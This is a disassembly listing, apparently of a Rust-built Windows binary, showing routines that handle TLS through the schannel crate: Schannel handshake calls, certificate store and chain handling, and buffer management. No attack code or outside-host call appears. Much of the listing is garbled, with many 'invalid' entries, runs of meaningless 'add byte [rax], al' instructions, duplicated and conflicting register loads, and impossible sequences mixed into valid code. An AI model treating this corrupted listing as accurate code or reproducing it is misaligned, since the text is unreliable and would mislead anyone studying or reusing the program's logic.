mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x98]
mov eax, dword [rsi + 0x98]
adc byte [rbx + rcx*4 - 0x7a], cl
cwde
mov eax, dword [rsi + 0x98]
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
invalid
add rsi, 0xa0
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp rax
lea rcx, [rsi + 0x2d8]
call fcn.1400ada60
jmp 0x1400ad9da
mov rdi, qword [rsi + 0x2d8]
mov rbx, qword [rsi + 0x2e0]
add byte [rax - 0x75], cl
sahf
loopne 0x1400ad869
add byte [rax], al
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400ad892
cmp qword [rbx + 0x10], 0x11
jb 0x1400ad880
mov ecx, dword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
je 0x1400ad9f2
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
je 0x1400ada0f
cmp qword [rsi + 0x290], 0
je 0x1400ad8cb
invalid
or eax, 0x988e8b48
add al, byte [rax]
add bh, bh
adc eax, 0x618f5
mov rcx, qword [rsi + 0x298]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x2a0]
mov ecx, dword [rsi + 0x2a0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp byte [rsi + 0x2d4], 0
je 0x1400ad90b
cmp byte [rsi + 0x270], 2
je 0x1400ad90b
lea rcx, [rsi + 0x268]
mov rax, qword [rsi + 0x250]
mov rdx, qword [rsi + 0x258]
mov r8, qword [rsi + 0x260]
call qword [rax + 0x10]
mov byte [rsi + 0x2d4], 0
cmp byte [rsi + 0x1a8], 2
add dh, byte [rdx + 0x2b]
add dh, byte [rdx + 0x2b]
mov rdi, qword [rsi + 0x1b0]
add byte [rax], al
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
invalid
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xcf8cd
clc
or al, 0
clc
or al, 0
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x61aba
lea rcx, [rsi + 0x1d0]
mov rax, qword [rsi + 0x1b8]
mov eax, 0x48000001
mov edx, dword [rsi + 0x1c0]
mov ss, eax
add dword [rax], eax
add byte [rax - 0x75], cl
xchg byte [rax + 0x48000001], bh
mov eax, 0x48000001
mov eax, 0x48000001
mov edx, dword [rsi + 0x1c0]
mov r8, qword [rsi + 0x1c8]
mov eax, dword [rsi + 0x1c8]
add bh, bh
push rax
call qword [rax + 0x10]
lea rcx, [rsi + 0x1f0]
mov rax, qword [rsi + 0x1d8]
mov rdx, qword [rsi + 0x1e0]
add byte [rax], al
adc byte [rax - 0x73], cl
invalid
add byte [rax], al
mov r8, qword [rsi + 0x1e8]
call qword [rax + 0x10]
cmp byte [rsi + 0x2d5], 0
add bh, bh
push rax
adc byte [rax + 0x2d5be], al
add byte [rax], al
je 0x1400ad999
or al, 0x48
lea ecx, [rsi + 0x128]
lea rcx, [rsi + 0x128]
call fcn.140066bd0
mov byte [rsi + 0x2d5], 0
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea rcx, [rsi + 0x2d8]
add byte [rax], al
call fcn.1400adc00
cmp qword [rsi + 0x9c0], 0
je 0x1400ad9cb
invalid
mov rcx, qword [rsi + 0x9c8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x9d0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov ss, eax
or dword [rax], eax
add byte [rcx], dh
sar bh, cl
adc eax, 0x617ee
mov byte [rsi + 0x2d3], 0
add al, byte [rax]
add byte [rax], al
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
jne 0x1400ad8a3
invalid
dec dword [rax - 0x75]
invalid
mov rcx, qword [rsi + 0x2b0]
call fcn.140036760
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
jne case.0x14009f75c.66
invalid
invalid
invalid
mov rcx, qword [rsi + 0x2b8]
mov rdx, qword [rsi + 0x2c0]
call fcn.1400049d0
dec dword [rax - 0x7d]
mov esi, 0x290
add byte [rdi], cl
invalid
invalid
invalid
invalid
invalid
dec dword [rax - 0x7d]
mov esi, 0x290
add byte [rdi], cl
test dword [rsi - 0x16000002], ecx
xchg esi, eax
invalid
jmp 0x1400ad8cb
lea rcx, [rsi + 0x2d8]
call 0x1400adce0
cmp byte [rsi + 0x270], 2
jne 0x1400ad8ec
jmp 0x1400ad90b
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
movzx eax, byte [rcx + 0x251]
test eax, eax
je 0x1400addef
cmp eax, 3
jne 0x1400adde7
mov rdi, qword [rsi + 0x240]
mov rbx, qword [rsi + 0x248]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400add39
cmp qword [rbx + 0x10], 0x11
jb 0x1400add27
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x220]
lock dec qword [rax]
je 0x1400ade64
mov rax, qword [rsi + 0x228]
lock dec qword [rax]
je 0x1400ade81
cmp qword [rsi + 0x200], 0
je 0x1400add72
mov rcx, qword [rsi + 0x208]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x210]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rsi + 0x1c8], 0
je 0x1400add98
mov rcx, qword [rsi + 0x1d0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x1d8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsi + 0x1b0]
lock dec qword [rax]
je 0x1400adea7
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
je 0x1400adec4
mov rax, qword [rsi + 0x148]
lock dec qword [rax]
je 0x1400adee8
cmp byte [rsi + 0x140], 2
jne 0x1400adf01
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
call fcn.140066bd0
cmp byte [rsi + 0x80], 2
jb 0x1400ade2b
mov rdi, qword [rsi + 0x88]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0xa8]
mov rax, qword [rsi + 0x90]
mov rdx, qword [rsi + 0x98]
mov r8, qword [rsi + 0xa0]
call qword [rax + 0x10]
mov eax, 0xc0
mov edx, 0xb8
mov ecx, 0xc8
mov r8d, 0xb0
jmp 0x1400adf16
mov rcx, qword [rsi + 0x220]
call fcn.140036760
mov rax, qword [rsi + 0x228]
lock dec qword [rax]
jne 0x1400add5b
mov rcx, qword [rsi + 0x228]
mov rdx, qword [rsi + 0x230]
call fcn.1400049d0
cmp qword [rsi + 0x200], 0
jne 0x1400add65
jmp 0x1400add72
mov rcx, qword [rsi + 0x1b0]
call fcn.140036760
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
jne 0x1400addc9
mov rcx, qword [rsi + 0x1b8]
mov rdx, qword [rsi + 0x1c0]
call fcn.1400049d0
mov rax, qword [rsi + 0x148]
lock dec qword [rax]
jne 0x1400addda
mov rcx, qword [rsi + 0x148]
call fcn.140052af0
cmp byte [rsi + 0x140], 2
je 0x1400adde7
mov eax, 0x130
mov edx, 0x128
mov ecx, 0x138
mov r8d, 0x120
mov r8, qword [rsi + r8]
mov r9, qword [r8 + 0x10]
add rcx, rsi
mov rdx, qword [rsi + rdx]
mov r8, qword [rsi + rax]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp r9
lea rax, [rdi + rdi]
cmp rax, r13
cmova r13, rax
cmp r13, 0x401
cmovb r13, r12
mov rbp, qword [rsi + 0x170]
sub r13, rbp
jbe 0x1400b17f0
mov rax, qword [rsi + 0x160]
sub rax, rbp
cmp rax, r13
jb 0x1400b18c5
mov r12, qword [rsi + 0x168]
lea rcx, [r12 + rbp]
cmp r13, 2
jb 0x1400b17dd
lea r8, [r13 - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add rbp, r13
dec rbp
add r12, rbp
mov rcx, r12
mov r12d, 0x400
mov byte [rcx], 0
inc rbp
mov qword [rsi + 0x170], rbp
mov rax, rbp
sub rax, rdi
jb 0x1400b1919
mov rcx, qword [rsi + 0x168]
add rcx, rdi
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
mov rdx, qword [rsi + 0x138]
test rdx, rdx
je 0x1400b192b
cmp dword [rbx], 2
jne 0x1400b1850
mov rcx, r14
lea r8, [rsp + 0x28]
call fcn.1400e7950
jmp 0x1400b185d
mov rcx, rbx
lea r8, [rsp + 0x28]
call fcn.1400afb90
test rax, rax
movabs rax, 0xd00000003
cmovne rdx, rax
test rdx, rdx
jne 0x1400b1903
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
cmp rcx, rdx
ja 0x1400b1943
add rdi, rcx
mov qword [rsi + 0x178], rdi
mov rax, qword [rsi + 0x210]
mov rdx, rax
sub rdx, rcx
mov r13d, 0
cmovae r13, rdx
mov qword [rsi + 0x210], r13
test rcx, rcx
je case.0x14001a36d.2569
add r15, rcx
cmp rax, rcx
ja 0x1400b1780
jmp case.0x14001a36d.2569
mov rcx, qword [rsp + 0x20]
mov rdx, rbp
mov r8, r13
call fcn.140104c70
mov rbp, qword [rsi + 0x170]
mov r12, qword [rsi + 0x168]
lea rcx, [r12 + rbp]
lea ecx, [rsp + rbp]
lea ecx, [rsp + rbp]
cmp r13, 2
jae 0x1400b17c6
jmp 0x1400b17dd
xor eax, eax
mov rdx, r15
jmp 0x1400b1908
mov eax, 1
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, rdi
add byte [rax - 0x77], cl
stc
mov rdx, rbp
call fcn.140104660
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x14013a548]
mov edx, 0x29
call fcn.1401046f0
invalid
add byte [rbp + rcx*4 + 5], cl
invalid
lea r8, [0x140139718]
call fcn.1401046e0
int3
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
div byte [rdx + rsi*2 + 0x48]
mov eax, dword [rdi + 0x170]
mov rbx, rax
sub rbx, rdx
jb 0x1400b1cd2
mov qword [rdi + 0x170], 0
cmp rcx, r14
jne 0x1400b1c11
test rax, rax
jne 0x1400b1c28
jmp 0x1400b1c2f
cmp rax, rdx
je 0x1400b1c2f
mov rcx, qword [rdi + 0x168]
add rdx, rcx
mov r8, rbx
call sub.VCRUNTIME140.dll_memmove
mov qword [rdi + 0x170], rbx
mov qword [rdi + 0x178], r14
mov qword [rdi + 0x210], 0
jmp 0x1400b1c77
mov byte [rsi + 1], 0
xor eax, eax
mov byte [rsi], al
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rdx, r9
call fcn.1401048e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r9
mov rdx, rax
call fcn.1401046e0
int3
cmp eax, 1
jne 0x1400b341d
mov rcx, qword [rsp + 0x70]
mov dword [rcx], 1
mov rax, qword [rsp + 0x128]
movups xmm0, xmmword [rax]
movups xmmword [rcx + 4], xmm0
mov eax, dword [rax + 0x10]
mov dword [rcx + 0x14], eax
jmp 0x1400b3401
test rbp, rbp
jne 0x1400b342a
movzx eax, byte [rdi + 0xd0]
test eax, eax
jne 0x1400b2533
movzx ebp, byte [rdi + 0xd1]
movzx r14d, byte [rdi + 0xd2]
movzx r13d, byte [rdi + 0xd3]
movzx esi, byte [rdi + 0xd4]
mov rdx, qword [rdi + 0x90]
mov r15, qword [rdi + 0x98]
cmp r15, rdx
jne 0x1400b25d0
test bpl, bpl
jne 0x1400b2650
jmp 0x1400b2664
xor r12d, r12d
nop word cs:[rax + rax]
mov r9, rdx
sub r9, r15
jb 0x1400b354b
mov rdx, qword [rdi + 0x38]
test rdx, rdx
je 0x1400b3533
mov r8, qword [rdi + 0x88]
add r8, r15
mov rcx, rbx
call fcn.1400e7c20
test rax, rax
jne 0x1400b33e0
add r12, rdx
add r15, rdx
mov qword [rdi + 0x98], r15
mov rdx, qword [rdi + 0x90]
cmp r15, rdx
jne 0x1400b25e0
test r12, r12
je 0x1400b25b5
cmp byte [rdi + 0xd0], 0
jne 0x1400b2650
mov byte [rdi + 0xd1], 1
nop word cs:[rax + rax]
cmp qword [rdi + 0x38], 0
je 0x1400b3533
cmp byte [rdi + 0xd0], 0
je 0x1400b266b
or sil, r13b
jne 0x1400b2684
jmp 0x1400b2677
mov byte [rdi + 0xd1], 0
or sil, r13b
jne 0x1400b2684
cmp byte [rdi + 0x122], 0
je 0x1400b2b97
test r14b, r14b
je 0x1400b2d01
cmp qword [rdi + 0x110], 0
je 0x1400b26b1
mov rcx, rdi
call fcn.1400b35a0
test rax, rax
jne 0x1400b33f2
test rdx, rdx
je 0x1400b3435
mov r15, qword [rdi + 0x78]
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400b355a
mov rdx, qword [rdi + 0x70]
cmp r15, rdx
ja 0x1400b3569
mov r12, rax
mov rax, qword [rdi + 0x68]
mov dword [r12], r15d
mov dword [r12 + 4], 2
mov qword [r12 + 8], rax
movups xmmword [r12 + 0x10], xmm6
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0xf0], r12
mov qword [rsp + 0xf8], 2
movabs rax, 0x8000000000000000
cmp qword [rdi + 0xb8], rax
jne 0x1400b2750
mov qword [rsp + 0xb0], 0
jmp 0x1400b27d0
mov rdx, qword [rdi + 0xc0]
mov r8, qword [rdi + 0xc8]
lea rcx, [rsp + 0xb0]
call fcn.1400cf9e0
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
je 0x1400b27d0
mov r14, qword [rsp + 0xc0]
mov ebp, dword [rsp + 0xb8]
lea rcx, [rsp + 0xe8]
call fcn.1400b1950
mov r12, qword [rsp + 0xf0]
mov r13, qword [rsp + 0xf8]
mov rax, r13
shl rax, 4
mov dword [r12 + rax], ebp
mov dword [r12 + rax + 4], 0x12
mov qword [r12 + rax + 8], r14
inc r13
mov qword [rsp + 0xf8], r13
jmp 0x1400b27d8
mov r13d, 2
xor esi, esi
mov dword [rsp + 0x130], 0
mov dword [rsp + 0x134], r13d
mov qword [rsp + 0x138], r12
movabs rax, 0x200000000
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 0
movabs rax, 0x1100000000
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x98]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movabs rax, 0x300000000
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x168], rax
mov dword [rsp + 0xcc], 0
cmp byte [rdi + 0x122], 0
je 0x1400b29c0
cmp byte [rdi + 0x123], 0
mov edx, 0
mov rcx, qword [rsp + 0x100]
cmove rdx, rcx
mov rax, qword [rdi + 0xe8]
movups xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xd0], xmm0
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0xd0]
lea r8, [rsp + 0x130]
mov r9d, 0x1011c
call qword [sym.imp.secur32.dll_AcceptSecurityContext]
mov ebp, eax
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400b28fc
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x1400b290f
call qword [sym.imp.secur32.dll_FreeContextBuffer]
cmp ebp, 0x80090318
je 0x1400b2b20
test ebp, ebp
je 0x1400b2a88
cmp ebp, 0x90312
jne 0x1400b2b51
mov byte [rdi + 0x123], 0
cmp r13, 1
jbe 0x1400b350b
cmp dword [r12 + 0x14], 5
jne 0x1400b2c1f
mov r14, qword [rdi + 0x78]
mov eax, dword [r12 + 0x10]
mov r15, r14
sub r15, rax
jb 0x1400b3578
mov r13d, dword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x78], rcx
test eax, eax
je 0x1400b2cf7
mov rdx, qword [rdi + 0x70]
mov rbp, rdx
sub rbp, r15
jb 0x1400b3590
mov qword [rdi + 0x70], 0
test r15, r15
je 0x1400b2db3
cmp rdx, r15
je 0x1400b2dc0
mov rcx, qword [rdi + 0x68]
lea rdx, [rcx + r15]
mov r8, rbp
call sub.VCRUNTIME140.dll_memmove
jmp 0x1400b2dbc
cmp byte [rdi + 0x120], 0
mov r8d, 0
je 0x1400b29d6
mov r8, qword [rdi + 0xa8]
movabs rax, 0x8000000000000000
cmp qword [rdi + 0xa0], rax
mov eax, 0
cmove r8, rax
mov rax, qword [rdi + 0xe8]
movups xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xd0], xmm0
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0xd0]
mov rdx, qword [rsp + 0x100]
mov r9d, 0x9819c
call qword [sym.imp.secur32.dll_InitializeSecurityContextW]
mov ebp, eax
mov rcx, qword [rsp + 0x98]
test rcx, rcx
jne 0x1400b28f6
jmp 0x1400b28fc
cmp r13, 1
jbe 0x1400b34f7
cmp dword [r12 + 0x14], 5
jne 0x1400b2bdc
mov r14, qword [rsp + 0x88]
test r14, r14
je 0x1400b2ac3
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x120], eax
mov dword [rsp + 0x120], eax
mov qword [rsp + 0x110], r14
mov rbp, qword [rdi + 0x78]
mov esi, dword [r12 + 0x10]
mov r15, rbp
sub r15, rsi
cmp rbp, r15
jb 0x1400b3578
je 0x1400b2e5c
mov rdx, qword [rdi + 0x70]
mov r13, rdx
sub r13, r15
jb 0x1400b3590
mov qword [rdi + 0x70], 0
test r15, r15
je 0x1400b2e39
cmp rdx, r15
je 0x1400b2e5c
invalid
add byte [rax - 0x75], cl
push 0x39148d4a
mov rcx, qword [rdi + 0x68]
lea rdx, [rcx + r15]
mov r8, r13
call sub.VCRUNTIME140.dll_memmove
jmp 0x1400b2e3e
cmp r13, 1
jbe 0x1400b351f
mov eax, 1
cmp dword [r12 + 0x14], 4
jne 0x1400b2b3c
mov eax, dword [r12 + 0x10]
mov qword [rdi + 0x110], rax
test rsi, rsi
jne 0x1400b2f53
jmp 0x1400b2f74
shl rbp, 0x20
or rbp, 2
test rsi, rsi
je 0x1400b2f10
mov r8, qword [rsp + 0xc0]
cmp rsi, 0x11
jb 0x1400b2b74
mov r8, qword [r8 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xe8], 0
jne 0x1400b2f1f
jmp 0x1400b2570
mov byte [rsp + 0x78], r14b
mov byte [rsp + 0x6f], r13b
mov qword [rsp + 0x80], 0
mov rcx, qword [rsp + 0x100]
mov edx, 0x53
lea r8, [rsp + 0x80]
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
je 0x1400b2c40
cmp byte [rsp + 0x78], 0
jne 0x1400b268d
jmp 0x1400b3489
mov rax, qword [rsp + 0x88]
test rax, rax
je 0x1400b2c01
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x110], rax
mov qword [rdi + 0x78], 0
mov qword [rdi + 0x110], 1
jne 0x1400b2e74
jmp 0x1400b2f36
mov r14, qword [rdi + 0x78]
mov r13d, dword [rsp + 0x80]
mov eax, 1
mov rcx, qword [rsp + 0x88]
mov r15, r14
jmp 0x1400b2dc7
mov r14, qword [rsp + 0x80]
mov rcx, qword [r14 + 0x20]
test rcx, rcx
je 0x1400b2fa1
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov rsi, rax
cmp qword [rdi], 0
mov r13, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
je 0x1400b2ce7
mov rcx, qword [rdi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
je 0x1400b2ce7
nop dword [rax]
mov rbp, rax
mov rcx, rax
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r15, rax
mov qword [rsp + 0x80], 0
mov rcx, rsi
mov rdx, rbp
mov r8d, 3
lea r9, [rsp + 0x80]
call qword [sym.imp.crypt32.dll_CertAddCertificateContextToStore]
test eax, eax
je 0x1400b345a
mov rcx, qword [rsp + 0x80]
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call r12
mov rcx, rbp
call r12
mov rcx, qword [rdi + 8]
mov rdx, r15
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne 0x1400b2c80
mov rcx, rsi
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
jmp 0x1400b2fb4
mov eax, 1
jmp 0x1400b2dc2
mov al, 2
test r13b, r13b
jne 0x1400b2d6e
movaps xmmword [rsp + 0x80], xmm6
mov dword [rsp + 0x90], 0
mov rcx, qword [rsp + 0x100]
mov edx, 4
lea r8, [rsp + 0x80]
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
jne 0x1400b34ea
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x11c], eax
mov rax, qword [rsp + 0x84]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x8c]
mov qword [rsp + 0x150], rax
mov al, 1
mov byte [rdi + 0xd0], al
mov eax, dword [rsp + 0x11c]
mov dword [rdi + 0xd4], eax
mov rax, qword [rsp + 0x158]
mov qword [rdi + 0xd8], rax
mov rax, qword [rsp + 0x150]
mov qword [rdi + 0xe0], rax
movzx eax, byte [rdi + 0xd0]
test eax, eax
je 0x1400b2584
jmp 0x1400b2533
test rdx, rdx
je 0x1400b3131
mov qword [rdi + 0x70], rbp
xor eax, eax
mov rcx, qword [rsp + 0x78]
sub r14, r15
mov qword [rdi + 0x78], r14
mov qword [rdi + 0x110], rax
test r13d, r13d
mov r15d, r13d
mov rdx, rcx
lea rax, [0x14016f768]
cmove rdx, rax
mov rax, qword [rdi + 0x80]
mov rbp, qword [rdi + 0x90]
sub rax, rbp
cmp rax, r15
mov r13, rcx
jb 0x1400b310d
mov rcx, qword [rdi + 0x88]
add rcx, rbp
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add rbp, r15
mov qword [rdi + 0x90], rbp
mov rcx, r13
call qword [sym.imp.secur32.dll_FreeContextBuffer]
test rsi, rsi
jne 0x1400b2f53
jmp 0x1400b2f74
test rdx, rdx
je 0x1400b2e5c
xor eax, eax
cmp rbp, r15
sete al
mov qword [rdi + 0x70], r13
mov qword [rdi + 0x78], rsi
mov qword [rdi + 0x110], rax
test r14, r14
jne 0x1400b2e74
jmp 0x1400b2ed8
xor eax, eax
cmp rbp, r15
sete al
mov qword [rdi + 0x78], rsi
mov qword [rdi + 0x110], rax
test r14, r14
je 0x1400b2ed8
mov r15d, dword [rsp + 0x120]
test r15, r15
mov rsi, qword [rsp + 0x110]
mov rdx, rsi
lea rax, [0x14016f768]
or eax, dword [rax]
or eax, dword [rax]
cmove rdx, rax
mov rax, qword [rdi + 0x80]
mov r13, qword [rdi + 0x90]
sub rax, r13
cmp rax, r15
jb 0x1400b33b4
mov rcx, qword [rdi + 0x88]
add rcx, r13
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r13, r15
mov qword [rdi + 0x90], r13
mov rcx, rsi
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov rsi, qword [rdi + 0x78]
test rsi, rsi
je 0x1400b2f36
lea rcx, [rsp + 0xd0]
mov rdx, rdi
call fcn.1400b3780
cmp byte [rsp + 0xd0], 0
je 0x1400b2f36
mov rbp, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
jne 0x1400b2b62
cmp qword [rsp + 0xe8], 0
je 0x1400b2570
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400b2570
cmp byte [rdi + 0xd0], 0
jne 0x1400b2f46
mov byte [rdi + 0xd2], 0
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
je 0x1400b2f74
mov r8, qword [rsp + 0xc0]
cmp rsi, 0x11
jb 0x1400b2f65
mov r8, qword [r8 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xe8], 0
je 0x1400b2f91
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebp, ebp
test rbp, rbp
je 0x1400b2579
jmp 0x1400b342a
mov rsi, qword [rdi]
test rsi, rsi
mov r13, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
je 0x1400b2fb4
mov rsi, qword [rdi + 8]
movaps xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x80], 0x20
and al, 0x80
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add bh, al
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8bc23
and al, 0x80
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add bh, al
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8bc23
mov qword [rsp + 0xb0], rax
lea rax, str.1.3.6.1.4.1.311.10.3.3
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8bc26
mov qword [rsp + 0xb8], rax
lea rax, str.2.16.840.1.113730.4.1
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x90], 3
nop
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x38
nop
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x38
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xc0000001
xor ecx, ecx
mov rdx, r14
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.crypt32.dll_CertGetCertificateChain]
test eax, eax
je 0x1400b349b
mov r15, qword [rsp + 0xe8]
mov esi, 0xf00
cmp qword [rdi], 0
je 0x1400b325e
cmp dword [r15 + 0xc], 0
je 0x1400b325e
mov qword [rsp + 0x148], r14
mov rax, qword [r15 + 0x10]
mov rbp, qword [rax]
mov rcx, r15
call r13
mov r13, rax
mov qword [rsp + 0x108], r15
cmp dword [r15 + 0xc], 2
jb 0x1400b313b
mov esi, 1
